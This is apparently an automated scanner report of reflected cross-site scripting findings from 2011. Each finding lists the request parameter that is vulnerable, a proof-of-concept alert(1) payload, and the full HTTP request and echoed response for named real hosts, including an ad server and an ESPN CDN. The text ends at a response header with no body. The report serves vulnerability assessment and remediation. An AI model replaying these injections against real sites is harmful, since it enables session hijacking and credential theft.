Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1eab4"><img%20src%3da%20onerror%3dalert(1)>11b26d08f45 was submitted in the REST URL parameter 3. This input was echoed as 1eab4"><img src=a onerror=alert(1)>11b26d08f45 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /areaCodes/detail/2401eab4"><img%20src%3da%20onerror%3dalert(1)>11b26d08f45/x22 HTTP/1.1 Host: 66.226.75.109 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sat, 26 Feb 2011 01:54:07 GMT Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 X-Powered-By: PHP/5.2.9 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: CAKEPHP=3b6903bdbf87953dd60f786f4943fe8b; expires=Sat, 05-Mar-2011 01:54:07 GMT; path=/ Connection: close Content-Type: text/html Content-Length: 332163
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Area Code Re ...[SNIP]... <a href="/npa_nxx/view/2401eab4"><img src=a onerror=alert(1)>11b26d08f45-000"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 179a9'-alert(1)-'8bab3f5f0bf was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/manta.comp179a9'-alert(1)-'8bab3f5f0bf/energy_resources;pos=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resources;t=waste;t=disposal;t=refuse;t=systems;t=industrial;t=recovery;t=llc;tile=1;ord=9636399718001484? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.manta.com/c/mtl07lp/industrial-waste-recovery-llc Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; targ=1; rdst11=1; dc=dc-sea; rdst12=1; dp2=1
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 626 Date: Sat, 26 Feb 2011 00:19:28 GMT Connection: close Vary: Accept-Encoding Set-Cookie: dc=dc-sea; domain=collective-media.net; path=/; expires=Mon, 28-Mar-2011 00:19:28 GMT
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f6850'-alert(1)-'345e4ad839d was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/manta.comp/energy_resourcesf6850'-alert(1)-'345e4ad839d;pos=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resources;t=waste;t=disposal;t=refuse;t=systems;t=industrial;t=recovery;t=llc;tile=1;ord=9636399718001484? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.manta.com/c/mtl07lp/industrial-waste-recovery-llc Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; targ=1; rdst11=1; dc=dc-sea; rdst12=1; dp2=1
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 626 Date: Sat, 26 Feb 2011 00:19:29 GMT Connection: close Vary: Accept-Encoding Set-Cookie: dc=dc-sea; domain=collective-media.net; path=/; expires=Mon, 28-Mar-2011 00:19:29 GMT
The value of the k request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 97420'-alert(1)-'8b2472a3796 was submitted in the k parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 670 Date: Sat, 26 Feb 2011 00:19:44 GMT Connection: close Vary: Accept-Encoding Set-Cookie: dc=dc-sea; domain=collective-media.net; path=/; expires=Mon, 28-Mar-2011 00:19:44 GMT
1.5. http://a.collective-media.net/adj/manta.comp/energy_resources [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://a.collective-media.net
Path:
/adj/manta.comp/energy_resources
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 11c75'-alert(1)-'9ed8bcfa867 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/manta.comp/energy_resources;pos=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resources;t=waste;t=disposal;t=refuse;t=systems;t=industrial;t=recovery;t=llc;tile=1;ord=9636399718001484?&11c75'-alert(1)-'9ed8bcfa867=1 HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.manta.com/c/mtl07lp/industrial-waste-recovery-llc Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; targ=1; rdst11=1; dc=dc-sea; rdst12=1; dp2=1
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 630 Date: Sat, 26 Feb 2011 00:19:27 GMT Connection: close Vary: Accept-Encoding Set-Cookie: dc=dc-sea; domain=collective-media.net; path=/; expires=Mon, 28-Mar-2011 00:19:27 GMT
The value of the pos request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5e66d'-alert(1)-'827aa445761 was submitted in the pos parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/manta.comp/energy_resources;pos=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resources;t=waste;t=disposal;t=refuse;t=systems;t=industrial;t=recovery;t=llc;tile=1;ord=9636399718001484?5e66d'-alert(1)-'827aa445761 HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.manta.com/c/mtl07lp/industrial-waste-recovery-llc Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; targ=1; rdst11=1; dc=dc-sea; rdst12=1; dp2=1
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 627 Date: Sat, 26 Feb 2011 00:19:22 GMT Connection: close Vary: Accept-Encoding Set-Cookie: dc=dc-sea; domain=collective-media.net; path=/; expires=Mon, 28-Mar-2011 00:19:22 GMT
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4b73f'-alert(1)-'409c7f48e56 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj4b73f'-alert(1)-'409c7f48e56/manta.comp/energy_resources;pos=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resources;t=waste;t=disposal;t=refuse;t=systems;t=industrial;t=recovery;t=llc;tile=1;net=mt;ord=9636399718001484;ord1=980367;cmpgurl=http%253A//www.manta.com/c/mtl07lp/industrial-waste-recovery-llc? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.manta.com/c/mtl07lp/industrial-waste-recovery-llc Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; targ=1; rdst11=1; rdst12=1; dp2=1; dc=dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Sat, 26 Feb 2011 00:19:31 GMT Connection: close Set-Cookie: apnx=1; domain=collective-media.net; path=/; expires=Sun, 27-Feb-2011 00:19:31 GMT Set-Cookie: nadp=1; domain=collective-media.net; path=/; expires=Sat, 05-Mar-2011 00:19:31 GMT Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Sat, 26-Feb-2011 08:19:31 GMT Set-Cookie: qcdp=1; domain=collective-media.net; path=/; expires=Sun, 27-Feb-2011 00:19:31 GMT Content-Length: 8216
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... <scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("mt-38123617_1298679571","http://ad.doubleclick.net/adj4b73f'-alert(1)-'409c7f48e56/manta.comp/energy_resources;net=mt;u=,mt-38123617_1298679571,11e4f07c0988ac7,Miscellaneous,ex.11-bk.rdst2-cm.rdst12-cm.rdst11-cm.polit_l;;pos=top;cmw=owl;sz=1x1,728x90;pg=comp;sc=e33b9;cs=e00;as=r00;s ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3e702'-alert(1)-'a761657800e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj/manta.comp3e702'-alert(1)-'a761657800e/energy_resources;pos=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resources;t=waste;t=disposal;t=refuse;t=systems;t=industrial;t=recovery;t=llc;tile=1;net=mt;ord=9636399718001484;ord1=980367;cmpgurl=http%253A//www.manta.com/c/mtl07lp/industrial-waste-recovery-llc? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.manta.com/c/mtl07lp/industrial-waste-recovery-llc Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; targ=1; rdst11=1; rdst12=1; dp2=1; dc=dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Sat, 26 Feb 2011 00:19:32 GMT Connection: close Set-Cookie: apnx=1; domain=collective-media.net; path=/; expires=Sun, 27-Feb-2011 00:19:32 GMT Set-Cookie: nadp=1; domain=collective-media.net; path=/; expires=Sat, 05-Mar-2011 00:19:32 GMT Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Sat, 26-Feb-2011 08:19:32 GMT Set-Cookie: qcdp=1; domain=collective-media.net; path=/; expires=Sun, 27-Feb-2011 00:19:32 GMT Content-Length: 8208
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... <scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("mt-14050729_1298679572","http://ad.doubleclick.net/adj/manta.comp3e702'-alert(1)-'a761657800e/energy_resources;net=mt;u=,mt-14050729_1298679572,11e4f07c0988ac7,Miscellaneous,ex.11-bk.rdst2-cm.rdst12-cm.rdst11-cm.polit_l;;pos=top;sz=1x1,728x90;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n; ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bf5cf'-alert(1)-'a9747c5027c was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj/manta.comp/energy_resourcesbf5cf'-alert(1)-'a9747c5027c;pos=top;sz=1x1,728x90;cmn=mt;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resources;t=waste;t=disposal;t=refuse;t=systems;t=industrial;t=recovery;t=llc;tile=1;net=mt;ord=9636399718001484;ord1=980367;cmpgurl=http%253A//www.manta.com/c/mtl07lp/industrial-waste-recovery-llc? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.manta.com/c/mtl07lp/industrial-waste-recovery-llc Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; targ=1; rdst11=1; rdst12=1; dp2=1; dc=dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Sat, 26 Feb 2011 00:19:37 GMT Connection: close Set-Cookie: apnx=1; domain=collective-media.net; path=/; expires=Sun, 27-Feb-2011 00:19:37 GMT Set-Cookie: nadp=1; domain=collective-media.net; path=/; expires=Sat, 05-Mar-2011 00:19:37 GMT Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Sat, 26-Feb-2011 08:19:37 GMT Set-Cookie: qcdp=1; domain=collective-media.net; path=/; expires=Sun, 27-Feb-2011 00:19:37 GMT Content-Length: 8208
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... <scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("mt-67481131_1298679577","http://ad.doubleclick.net/adj/manta.comp/energy_resourcesbf5cf'-alert(1)-'a9747c5027c;net=mt;u=,mt-67481131_1298679577,11e4f07c0988ac7,Miscellaneous,ex.11-bk.rdst2-cm.rdst12-cm.rdst11-cm.polit_l;;pos=top;sz=1x1,728x90;pg=comp;sc=e33b9;cs=e00;as=r00;st=sc;ct=camden;s=n;t=energy;t=resour ...[SNIP]...
The value of the k request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 522e1'-alert(1)-'148a505a1cf was submitted in the k parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Sat, 26 Feb 2011 00:20:32 GMT Connection: close Content-Length: 7273
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... a.createAndAttachAd("manta-99230702_1298679632","http://ad.doubleclick.net/adj/manta.comp/energy_resources;net=manta;u=,manta-99230702_1298679632,11e4f07c0988ac7,none,cm.rdst12-cm.rdst11-cm.polit_l;;k=522e1'-alert(1)-'148a505a1cf;contx=none;dc=w;btg=cm.rdst12;btg=cm.rdst11;btg=cm.polit_l?","0","0",false);</scr'+'ipt> ...[SNIP]...
1.11. http://a.collective-media.net/cmadj/manta.comp/energy_resources [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://a.collective-media.net
Path:
/cmadj/manta.comp/energy_resources
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5c2b1'-alert(1)-'8f009f52149 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj/manta.comp/energy_resources?5c2b1'-alert(1)-'8f009f52149=1 HTTP/1.1 Host: a.collective-media.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: dc=dc-sea; blue=1; dp2=1; apnx=1; rdst12=1; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; cli=11e4f07c0988ac7; nadp=1; rdst11=1; targ=1; qcdp=1;
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Date: Sat, 26 Feb 2011 01:50:07 GMT Content-Length: 7270 Connection: close
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... <scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("manta-12346973_1298685007","http://ad.doubleclick.net//manta.comp/energy_resources?5c2b1'-alert(1)-'8f009f52149=1;net=manta;u=,manta-12346973_1298685007,11e4f07c0988ac7,none,cm.rdst12-cm.rdst11-cm.polit_l;;contx=none;dc=w;btg=cm.rdst12;btg=cm.rdst11;btg=cm.polit_l?","0","0",false);</scr'+'ipt> ...[SNIP]...
The value of the pos request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cc135'-alert(1)-'315ca7472f3 was submitted in the pos parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj/manta.comp/energy_resources;pos=cc135'-alert(1)-'315ca7472f3 HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.manta.com/c/mtl07lp/industrial-waste-recovery-llc Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; targ=1; rdst11=1; rdst12=1; dp2=1; dc=dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Sat, 26 Feb 2011 00:19:22 GMT Connection: close Set-Cookie: nadp=1; domain=collective-media.net; path=/; expires=Sat, 05-Mar-2011 00:19:22 GMT Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Sat, 26-Feb-2011 08:19:22 GMT Set-Cookie: qcdp=1; domain=collective-media.net; path=/; expires=Sun, 27-Feb-2011 00:19:22 GMT Content-Length: 7790
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... createAndAttachAd("manta-14301451_1298679562","http://ad.doubleclick.net/adj/manta.comp/energy_resources;net=manta;u=,manta-14301451_1298679562,11e4f07c0988ac7,none,cm.rdst12-cm.rdst11-cm.polit_l;;pos=cc135'-alert(1)-'315ca7472f3;contx=none;dc=w;btg=cm.rdst12;btg=cm.rdst11;btg=cm.polit_l?","0","0",false);</scr'+'ipt> ...[SNIP]...
The value of the css request parameter is copied into the HTML document as plain text between tags. The payload ddc15<script>alert(1)</script>ddb75005989 was submitted in the css parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /combiner/c?css=photo.galleries.r3.cssddc15<script>alert(1)</script>ddb75005989 HTTP/1.1 Host: a.espncdn.com Proxy-Connection: keep-alive Referer: http://espn.go.com/new-york/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Content-Type: text/css Last-Modified: Wed, 23 Feb 2011 21:42:44 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: EGW04 Cache-Expires: Sun, 24 Apr 2011 21:42:44 GMT Vary: Accept-Encoding Cache-Control: max-age=5184000 Date: Wed, 23 Feb 2011 21:42:43 GMT Connection: close Content-Length: 245
/** ERROR: photo.galleries.r3.cssddc15<script>alert(1)</script>ddb75005989: Server returned HTTP response code: 400 for URL: http://espnsource01c.starwave.com:9081/prod/styles/photo.galleries.r3.cssddc15<script> ...[SNIP]...
The value of the js request parameter is copied into the HTML document as plain text between tags. The payload ab3e3<script>alert(1)</script>86514540ca5 was submitted in the js parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /combiner/c?js=analytics/sOmni.js,analytics/analytics.js,analytics/zf.js,analytics/externalnielsen.jsab3e3<script>alert(1)</script>86514540ca5&xhr=1 HTTP/1.1 Host: a.espncdn.com Proxy-Connection: keep-alive Referer: http://espn.go.com/new-york/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
